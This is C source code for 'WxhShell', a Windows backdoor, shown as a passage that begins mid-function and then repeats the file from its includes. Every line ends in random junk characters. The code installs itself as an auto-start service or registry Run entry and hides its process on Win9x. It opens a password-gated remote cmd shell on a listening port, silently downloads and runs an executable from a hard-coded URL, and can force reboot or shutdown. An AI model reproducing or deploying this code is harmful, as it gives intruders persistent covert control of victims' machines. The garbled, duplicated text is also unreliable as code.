    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m=F  
    else { w{Y:p[}  
    closesocket(wsh); 5OC3:%g  
    ExitThread(0); SJ:Wr{ Or3  
    } 0U:9&j P,  
    break; &>hln<a>  
    } `mKK1x  
  // 获取shell X!]p8Q y  
  case 's': { ybgw#jv=  
    CmdShell(wsh); m pM,&7}  
    closesocket(wsh); jiLt *>I  
    ExitThread(0); Oxh . &  
    break; 97VS xhr  
  } 6x! q  
  // 退出 >zv}59M  
  case 'x': { t$*CyYb{@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F#7A6|  
    CloseIt(wsh); HQ3kxOT  
    break; lQer|?#  
    } IZ+ZIR@}ci  
  // 离开 1;[ZkRbzL  
  case 'q': { ^g n7DiIPH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eHI7= [h  
    closesocket(wsh); .cg"M0  
    WSACleanup(); b/'RJQSAc  
    exit(1); q,_ 1?A)  
    break; 7j\jOkl V  
        } N >+L?C  
  } \-)augq([  
  } >*[Bq;  
0D48L5kH#'  
  // 提示信息 -8,lXrH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8E\6RjM  
} P 4jg]g  
  } 4 O~zkg  
wLH[rwPr  
  return; n$(_(&  
} O8WLulo  
ADN  
// shell模块句柄 m=%WA5c?  
int CmdShell(SOCKET sock) Ptv=Bwg  
{ ;/.XAxkFL  
STARTUPINFO si; AP_2.V=Sn  
ZeroMemory(&si,sizeof(si));  k/}E(_e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; POc-`]6 <F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q:!.YSB  
PROCESS_INFORMATION ProcessInfo; -OV!56&  
char cmdline[]="cmd"; hKYA5]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JGKiVBN  
  return 0; IH0qx_;P&  
} ?3:xR_VWZu  
xk8P4`;d$  
// 自身启动模式 &+V|Ldh  
int StartFromService(void) /I3>u  
{ Q[N6#C:(4  
typedef struct 7tr;adjs  
{ c_^-`7g  
  DWORD ExitStatus; 9hIcnPu  
  DWORD PebBaseAddress; _,;|,  
  DWORD AffinityMask; QC*> qo  
  DWORD BasePriority; eZ~ZWb,%  
  ULONG UniqueProcessId; rZv5>aEI  
  ULONG InheritedFromUniqueProcessId; cA{zyq26  
}   PROCESS_BASIC_INFORMATION; L|[ 0&u!  
OTe0[p6v  
PROCNTQSIP NtQueryInformationProcess; 6P KH%  
4RV5:&ALLS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o Z#4<7K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !mLY W  
5>'1[e45  
  HANDLE             hProcess; }2eP~3  
  PROCESS_BASIC_INFORMATION pbi; Ou<Vg\Mu  
2qD80W<1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7+vyN^XJ"5  
  if(NULL == hInst ) return 0; i-4pdK u  
Dpa PRA)x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); REvY`   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~L.)<{?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'rw nAr  
sOBy)vq?\  
  if (!NtQueryInformationProcess) return 0; (PmaVwF  
"e\:Cq>\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,#P eK(  
  if(!hProcess) return 0; f._FwD  
n-7|{1U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,!?&LdPt>  
k )T;WCia  
  CloseHandle(hProcess); wZA(><\  
"`AIU}[_I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UlN+  
if(hProcess==NULL) return 0; D20n'>ddg  
E|jbbCZy2  
HMODULE hMod;  v NJ!d  
char procName[255]; ta-kqt!'  
unsigned long cbNeeded; jJF(*D  
Qr4c':8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gdd lB2L)x  
 OBCRZ   
  CloseHandle(hProcess); p Rn vd|  
wtDy-H n  
if(strstr(procName,"services")) return 1; // 以服务启动 ` qqUuFMM  
C=6Vd  
  return 0; // 注册表启动 [p+6HF  
} e!67Na0X(  
9 L{JU  
// 主模块 NyTv~8A`)  
int StartWxhshell(LPSTR lpCmdLine) #Cda8)jl(  
{ n3t0Qc  
  SOCKET wsl; 7Xu.z9y  
BOOL val=TRUE; )r#^{{6[v  
  int port=0; r1= :B'z  
  struct sockaddr_in door; ]$'w8<D>t,  
1} {bHj  
  if(wscfg.ws_autoins) Install(); ^y,% Tv>  
i-'rS/R  
port=atoi(lpCmdLine); `)[bu  
tU02t#8  
if(port<=0) port=wscfg.ws_port; !dVth)UV  
0\*6U H  
  WSADATA data; E5P?(5Nv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; # 4AyA$t  
'1[}PmhD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +IiL(\ew  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~7tG%{t%  
  door.sin_family = AF_INET; u:Q_XXT5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S"iz fQ@  
  door.sin_port = htons(port); UGNFWZ c  
{]aB3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &n.7~C]R  
closesocket(wsl); [WDtr8L  
return 1; AKVll  
} gu[3L  
h^h!OQKQ  
  if(listen(wsl,2) == INVALID_SOCKET) { |RBgJkS;8  
closesocket(wsl); .6yC' 3~;o  
return 1; E}aTH  
} 5fK#*(x  
  Wxhshell(wsl); LY%`O#i.  
  WSACleanup(); C ebl"3Q  
-t, .A/?  
return 0; "Ldi<xq%xl  
^d!(8vh  
} YPraf$  
85P7I=`*d  
// 以NT服务方式启动 G'/36M@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HF9d~7R  
{ ;Zb+WGyj  
DWORD   status = 0; IiG~l+V~  
  DWORD   specificError = 0xfffffff; ^Tbw#x]2  
)E<<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1>$ fLbmkI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6>! ;g'k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /`YHPeXu  
  serviceStatus.dwWin32ExitCode     = 0; -z]v"gF?Px  
  serviceStatus.dwServiceSpecificExitCode = 0; o7N3:)  
  serviceStatus.dwCheckPoint       = 0; J;pn5k~3  
  serviceStatus.dwWaitHint       = 0; K4Mv\!Q<8  
d7+YCi?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  }xcEWC\  
  if (hServiceStatusHandle==0) return; Fh u(u  
t =ErJ  
status = GetLastError(); LEoL6ga  
  if (status!=NO_ERROR) 0#~e KF y  
{ H]5%"(h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >}` q4U6$  
    serviceStatus.dwCheckPoint       = 0; 9S ~!!7oj  
    serviceStatus.dwWaitHint       = 0; )x1LOMe  
    serviceStatus.dwWin32ExitCode     = status; A ^YHtJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; i?uJ<BdU[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SG1fu<Q6J  
    return; eJ+V!K'H2  
  } "oX@Z^  
/ lh3.\|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5UE5;yo  
  serviceStatus.dwCheckPoint       = 0; #F\}PCBe'  
  serviceStatus.dwWaitHint       = 0; 5`oVyxJ<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }R#YO$J7  
} a $pxt!6  
<4,n6$E  
// 处理NT服务事件,比如:启动、停止 >r] bfN,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JTw\5j  
{ -EV_=a8[y  
switch(fdwControl) \hpD  
{  GU99!.$  
case SERVICE_CONTROL_STOP: 6@`Y6>}$_  
  serviceStatus.dwWin32ExitCode = 0; |EuWzhNAO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tgn_\-+  
  serviceStatus.dwCheckPoint   = 0; @#q>(Ox%  
  serviceStatus.dwWaitHint     = 0; |A".Mo_5  
  { IP'gN-#i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wpo:'?!(M^  
  } P!q U8AJkt  
  return; <^?64  
case SERVICE_CONTROL_PAUSE: rWKc,A[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zi47)8  
  break; = 8F/]8_  
case SERVICE_CONTROL_CONTINUE: @[M5$,"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &]gw[ `  
  break; v=15pW  
case SERVICE_CONTROL_INTERROGATE: +$Q33@F5l  
  break; J,ZvaF  
}; KN>U6=WN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \(Uw.ri  
} L M  
tmF->~|  
// 标准应用程序主函数 F%!ZHE7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y_n^6 ;  
{ d&n&_>  
g3@Qn?(j!  
// 获取操作系统版本 ]*a3J45  
OsIsNt=GetOsVer(); iOI8'`mk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )En*5-1  
h~rSM#7m  
  // 从命令行安装 eC:?j`H -  
  if(strpbrk(lpCmdLine,"iI")) Install(); FBpf_=(_1  
Nq|b$S[4  
  // 下载执行文件 <$)F_R~T3  
if(wscfg.ws_downexe) { z mvF#o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Ua|KKK C  
  WinExec(wscfg.ws_filenam,SW_HIDE); xh[De}@  
} 5 3=zHYQ  
b]s.h8+v;  
if(!OsIsNt) { 4:Adn?"  
// 如果时win9x,隐藏进程并且设置为注册表启动 `!<RP'  
HideProc(); t(FI Bf3  
StartWxhshell(lpCmdLine); y21zaQ  
} .du FMJl  
else 5}FPqyK"  
  if(StartFromService()) /7Z;/|oU  
  // 以服务方式启动 J8[N!qDCj  
  StartServiceCtrlDispatcher(DispatchTable); )0Av:eF-+  
else 2Uf]qQ1  
  // 普通方式启动 ^mbpt`@  
  StartWxhshell(lpCmdLine); JAM4 R_  
.[Ezg(U}ze  
return 0; g+Z~"O]$M  
} Jsf -t  
A7!!kR":  
S<"T:Y &  
!"{+|heU9p  
=========================================== >(Mu9ie*`  
O?|st$g  
$ftcYBZa  
[ix45xu7  
sV{M#UF2  
HhkubG)\  
" b= <xzvy  
V_*TY6  
#include <stdio.h> .\1{>A  
#include <string.h> XKqUbi  
#include <windows.h> o<T_Pjp  
#include <winsock2.h> 4O Lq  
#include <winsvc.h> QF 2Eg  
#include <urlmon.h> l n}2   
^DZ(T+q,  
#pragma comment (lib, "Ws2_32.lib") #?h#R5:0  
#pragma comment (lib, "urlmon.lib") =bm<>h7.)  
z>HeM Mei  
#define MAX_USER   100 // 最大客户端连接数 N- E)b  
#define BUF_SOCK   200 // sock buffer Dg]( ?^  
#define KEY_BUFF   255 // 输入 buffer C]{:>= K  
r9@4-U7v&  
#define REBOOT     0   // 重启 xB=~3  
#define SHUTDOWN   1   // 关机 ~$7fU  
<{U "0jY!9  
#define DEF_PORT   5000 // 监听端口 HS!O;7s'  
-' 7I|r  
#define REG_LEN     16   // 注册表键长度 :G?6Hl)~)  
#define SVC_LEN     80   // NT服务名长度 m}Z=m8  
>P*wK9|(  
// 从dll定义API $7%e|0jC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Oj]. WQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F.:B_t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +/,J$(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nY7 ZK  
!o A,^4(  
// wxhshell配置信息 7I>@PV N  
struct WSCFG { @ %LrpD  
  int ws_port;         // 监听端口 0_7A <   
  char ws_passstr[REG_LEN]; // 口令  h"<-^=b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5"1kfB3v  
  char ws_regname[REG_LEN]; // 注册表键名 G2Zr (b')  
  char ws_svcname[REG_LEN]; // 服务名 Ms8& $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -ZXC^zt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x O`#a=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UR;F W`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R<>ptwy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }lZfZ?oAz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 % j4  
&HdzbKO=  
}; Qp9)Rc5  
G-?y;V 1  
// default Wxhshell configuration E;7vGGf]  
struct WSCFG wscfg={DEF_PORT, ]mEY/)~7  
    "xuhuanlingzhe", MpZ #  
    1, 5v:c@n  
    "Wxhshell", jr$]kLY  
    "Wxhshell", ~3YN;St-  
            "WxhShell Service", MH;5gC@ `  
    "Wrsky Windows CmdShell Service", FOz7W  
    "Please Input Your Password: ", wGfU@!m  
  1, Q9v OY8  
  "http://www.wrsky.com/wxhshell.exe", "p<B|  
  "Wxhshell.exe" |y+<|fb,a  
    }; 'urn5[i  
Jr/|nhGl5  
// 消息定义模块 CT1)tRN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; te e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ys8p,.OMs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z:C VzK,  
char *msg_ws_ext="\n\rExit."; u_+64c_7  
char *msg_ws_end="\n\rQuit."; FM\yf ]'  
char *msg_ws_boot="\n\rReboot..."; Qs(WyP#  
char *msg_ws_poff="\n\rShutdown..."; Un{hI`3]  
char *msg_ws_down="\n\rSave to "; 5.st!Lp1  
(<RZZ{m  
char *msg_ws_err="\n\rErr!"; {<XPE:1>Y  
char *msg_ws_ok="\n\rOK!"; =b+W*vUAw  
HFV4S]U=  
char ExeFile[MAX_PATH]; ~@8r-[  
int nUser = 0; &6*X&]V!Z  
HANDLE handles[MAX_USER]; M~ =Bln5  
int OsIsNt; pa1.+~)  
ZMs$C3  
SERVICE_STATUS       serviceStatus; $2l<X KT-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iQryX(z  
hrsMAh!  
// 函数声明 _&0_@  
int Install(void); i|zs Li/  
int Uninstall(void); %au2kG,  
int DownloadFile(char *sURL, SOCKET wsh); U j5%06  
int Boot(int flag); :{za[,  
void HideProc(void); N5$IVz}  
int GetOsVer(void); .qBL.b_`  
int Wxhshell(SOCKET wsl); o&tETJ5Bhe  
void TalkWithClient(void *cs); N 2|?I(\B  
int CmdShell(SOCKET sock); *`]LbS  
int StartFromService(void); EjZ_|Q  
int StartWxhshell(LPSTR lpCmdLine); bDh,r!I  
:q6j{C(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kjW Y{7b!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~&bn} M>W  
FbxrBM  
// 数据结构和表定义 3f;W+^NY  
SERVICE_TABLE_ENTRY DispatchTable[] = Jb. V4  
{ .L;M-`^  
{wscfg.ws_svcname, NTServiceMain}, )HPt(Ck  
{NULL, NULL} O6nCu  
}; [T8BQn!  
[ 0? *J<d  
// 自我安装 <=m@Sg{o  
int Install(void) ySyA!Z  
{ @=@7Uu-  
  char svExeFile[MAX_PATH]; a`]Dmw8@  
  HKEY key; BEn,py7  
  strcpy(svExeFile,ExeFile); Q a(>$.h  
N%8O9Dp8;  
// 如果是win9x系统,修改注册表设为自启动 &j4 1<A  
if(!OsIsNt) { crx8+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EJF*_<f9O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AcF6p)@_  
  RegCloseKey(key); P+tnXT>nE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zoFCHs r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZaxBr  
  RegCloseKey(key); sxac( L  
  return 0; \F_~?$  
    } -oSfp23u  
  } mJjd2a"vi  
} !U}dYB:O  
else { .c#G0t<i[  
TL%2?'G  
// 如果是NT以上系统,安装为系统服务 oA_T9uh[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Y;ljQ  
if (schSCManager!=0) 3ya_47D  
{ ZbS* zKEW  
  SC_HANDLE schService = CreateService `/WX!4eR,  
  ( UZsn14xSA  
  schSCManager, E038p]M!  
  wscfg.ws_svcname, !3]}3jZ.  
  wscfg.ws_svcdisp, !3Xu#^Xxj  
  SERVICE_ALL_ACCESS, +4<Ij/}p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zR)9]pJ-  
  SERVICE_AUTO_START, KW&5&~)2  
  SERVICE_ERROR_NORMAL, y[ikpp#ozY  
  svExeFile, tS1(.CRk  
  NULL, 'q+CL&D  
  NULL, Aw]W-fx  
  NULL, r!DUsE  
  NULL, VK7lm|J+  
  NULL gEFs4; CN  
  ); y _Mte  
  if (schService!=0) J<[Hw g  
  { ?f9@  
  CloseServiceHandle(schService); nq9|cS%-  
  CloseServiceHandle(schSCManager); }jF67c->  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Ja't8  
  strcat(svExeFile,wscfg.ws_svcname); 37j-FLbW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C_c*21X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4dfR}C  
  RegCloseKey(key); Ygwej2  
  return 0; <$#;J>{WV  
    } (%`R{Y  
  } gpo+-NnG  
  CloseServiceHandle(schSCManager); Ebmd[A&&  
} (QARle(i  
} $j ZU(<4,  
<{ Z$!]i1  
return 1; \YV`M3O  
} cr;\;Ta_!W  
xPuuG{Sm  
// 自我卸载 ]{mz %\  
int Uninstall(void) !F@9xG  
{ 5e> <i  
  HKEY key; !G`7T  
e.8(tEqZ1  
if(!OsIsNt) { ]`p*ZTr)\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^U[c:Rz  
  RegDeleteValue(key,wscfg.ws_regname); /hx|KC&:e  
  RegCloseKey(key); '?WKKYD7N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jHP6d =  
  RegDeleteValue(key,wscfg.ws_regname); +7HM7cw  
  RegCloseKey(key); +W{ELdup%q  
  return 0; Het5{Yb.  
  } h[%t7qo=  
} 3%"r%:fQB/  
} bV'^0(Zv  
else { K6C@YY(  
 X`REhvT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @wzzI 7}C  
if (schSCManager!=0) u0Nag=cU  
{ H<hFA(M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U{^~X_?  
  if (schService!=0) Iuh1tcc  
  { _trF/U<  
  if(DeleteService(schService)!=0) { X>0$zE@0  
  CloseServiceHandle(schService); 2swHJ.d\  
  CloseServiceHandle(schSCManager); B~[}E]WEK  
  return 0; H <gC{:S  
  } Bu:h_sV D  
  CloseServiceHandle(schService); W7k0!Grrl  
  } s>A!Egmo  
  CloseServiceHandle(schSCManager); ;QRnZqSv  
} /FP;Hsw%  
} IWRo$Yu  
)QeXA )  
return 1; ~Ogtgr  
} 3hN.`G-E  
^xBF$ua37)  
// 从指定url下载文件 nDt1oM H  
int DownloadFile(char *sURL, SOCKET wsh) %fv;C  
{ mJj [f8  
  HRESULT hr; =vqy5y  
char seps[]= "/"; -#9Hb.Q;  
char *token; sYt\3/yL'  
char *file; n0/H2>I[  
char myURL[MAX_PATH]; =th(Hdk17  
char myFILE[MAX_PATH]; -AJ$-y  
0`{3|g  
strcpy(myURL,sURL); Rh=,]Y  
  token=strtok(myURL,seps); aGl*h" &  
  while(token!=NULL) "ggViIOw&  
  { 2HxT+|~d6  
    file=token; 88K=jo))b  
  token=strtok(NULL,seps); ?1DA  
  } s>pOfXIx  
,3m]jp'  
GetCurrentDirectory(MAX_PATH,myFILE); IvW%n(a8^  
strcat(myFILE, "\\"); PT`];C(he  
strcat(myFILE, file); X^2Txm d  
  send(wsh,myFILE,strlen(myFILE),0); E3p3DM0F$  
send(wsh,"...",3,0); {~Q9jg(A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RB\0o,mw4  
  if(hr==S_OK) iyj,0T  
return 0; ?Re6oLm<B  
else BdK2I!mm  
return 1; xK8n~.T('  
CY"iP,nHl  
} k|O?qE1hP  
pl-2O $  
// 系统电源模块 *@EItj`  
int Boot(int flag) dBB;dN  
{ "*ot:;I  
  HANDLE hToken; yB>5p]$P  
  TOKEN_PRIVILEGES tkp; %Ydzzr3  
p1-bq:  
  if(OsIsNt) {  AU3Ou5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u{H'evv0O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =p1aF/1$I  
    tkp.PrivilegeCount = 1; st b)Tl^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -{ae  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  1#G(  
if(flag==REBOOT) { w2 L'j9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d G}.T_l  
  return 0; e:h(,  
} POnI&y]  
else { SkmLX@:(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M-K.[}}-d  
  return 0; -<R"  
} L\:f#b~W  
  } `]+-z +  
  else { r`; "  
if(flag==REBOOT) { 01/?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fn!(cE|`E  
  return 0; 17itC9U  
} #6jdv|fu  
else { r_5k$u(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yNVmTb9mF  
  return 0; &_DRrp0CN  
} gypE~@  
} FMuakCic5  
^/)!)=?  
return 1; 2u(v hJ F5  
} !7m )QNV  
IT.'`!T  
// win9x进程隐藏模块 isdEs k#A.  
void HideProc(void) Z[(V0/[]  
{ 7 Q`'1oE?  
$IuN(#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |k # ~  
  if ( hKernel != NULL ) A7/ R5p  
  { FY^#%0~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |5ifgSZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f;Iaf#V_  
    FreeLibrary(hKernel); |o:[*2-   
  } YivWvV  
Ar+<n 2;[  
return; BFCF+hU^6R  
} _li\b-  
WWO@ULGY  
// 获取操作系统版本 NXwlRMbo  
int GetOsVer(void) QO'=O}e  
{ b),_rr  
  OSVERSIONINFO winfo; F(-1m A&-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?q68{!{bi  
  GetVersionEx(&winfo); 6Y#V;/gK!5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Oku<5  
  return 1; ]^>#?yEA3  
  else 33R_JM{  
  return 0; ""j(wUp-W  
} 8?n6\cF  
 N+<`Er  
// 客户端句柄模块 5y}kI  
int Wxhshell(SOCKET wsl) R*C  
{ xaiA?  
  SOCKET wsh; 6.%V"l   
  struct sockaddr_in client; g{`rWKj  
  DWORD myID; A.mIqu,:  
`7;I*|  
  while(nUser<MAX_USER) ~MvLrg"i  
{ 7[V6@K!Al[  
  int nSize=sizeof(client); WHV]H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n ..9F$a  
  if(wsh==INVALID_SOCKET) return 1; e[3 rz%'Q  
kUl:Yj=&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B:YUb{CJ  
if(handles[nUser]==0) zLG5m]G4D  
  closesocket(wsh); :Kc}R)6  
else q><E?  
  nUser++; aB`x5vg7ho  
  } k)2L <Lmn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]-6=+\]   
qR W WG&  
  return 0; {y{& tz Z  
} 67uUeCW  
DhQYjC[  
// 关闭 socket </K"\EU  
void CloseIt(SOCKET wsh) LnN6{z{M  
{ iU5Aj:U3  
closesocket(wsh); 7p}.r J54  
nUser--; uZyR{~-C  
ExitThread(0); hRn[ 9B  
} Min^EAG@  
%8?s3^ o  
// 客户端请求句柄 T~nmEap  
void TalkWithClient(void *cs) ZaCUc Px  
{ -Oo7]8  
G/F0 )M  
  SOCKET wsh=(SOCKET)cs; }&Eb {'  
  char pwd[SVC_LEN]; BF*]l8p  
  char cmd[KEY_BUFF]; { r9fKA  
char chr[1]; yDt3)fP#  
int i,j; FW)G5^Tf  
it2@hZc5  
  while (nUser < MAX_USER) { >L#HE  
\O"EK~x}/  
if(wscfg.ws_passstr) { /4\!zPPj.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Y:~'&U|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W$x'+t5H  
  //ZeroMemory(pwd,KEY_BUFF); H3=U|wr|  
      i=0; S`LS/)  
  while(i<SVC_LEN) { bDLPA27  
}gE?ms4$  
  // 设置超时 oG! S(95  
  fd_set FdRead; G22= 8V  
  struct timeval TimeOut; * /S=9n0  
  FD_ZERO(&FdRead); =O qw`jw  
  FD_SET(wsh,&FdRead); 1/t}>>,M  
  TimeOut.tv_sec=8; : "[dr~.  
  TimeOut.tv_usec=0; l vuoVINEp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c}nXMA^^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L0_qHLY  
OUY 65K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c\.8hd=<  
  pwd=chr[0]; mdu5aL  
  if(chr[0]==0xd || chr[0]==0xa) { mVYLI!n}0#  
  pwd=0; 4\%0a,\^  
  break; t]Ey~-Rx  
  } p]d3F^*i  
  i++; DrD68$,QN  
    } fJ[(zjk  
kaxAIk8l  
  // 如果是非法用户,关闭 socket jgLCs)=5hV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \R >!HY  
} ;cBFft}D  
Qt_LBJUWV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D0?l$]aE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7` ^]:t  
Y'NQt?h  
while(1) { mlgw0   
?]S!-6:  
  ZeroMemory(cmd,KEY_BUFF); pKrol]cth8  
O!!Ne'I  
      // 自动支持客户端 telnet标准   sjLI^#a  
  j=0; Vi~9[&.E\!  
  while(j<KEY_BUFF) { ,:!X]F#d$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U?u0|Y+  
  cmd[j]=chr[0]; eMf+b;~R  
  if(chr[0]==0xa || chr[0]==0xd) { rC>')`uk  
  cmd[j]=0; zWxKp;.  
  break; u$c)B<.UR  
  } p]*BeiT#n%  
  j++; ;;E "+.  
    } ;Ry )^5Q  
B]K@'#  
  // 下载文件 b??k|q  
  if(strstr(cmd,"http://")) { f`X#1w9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &xF 2!t`  
  if(DownloadFile(cmd,wsh)) F=C8U$'S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !BHIp7p  
  else V~y4mpfX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); djVE x }  
  } SSANt?\Z<  
  else { ~Tv %6iaeE  
[c@14]e  
    switch(cmd[0]) { v4}kmH1  
  3AWNoXh  
  // 帮助 |C9qM  
  case '?': { 6a G/=fq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pA9:1*+;;  
    break; |q?I(b4Q@  
  } t 7D2k2x9  
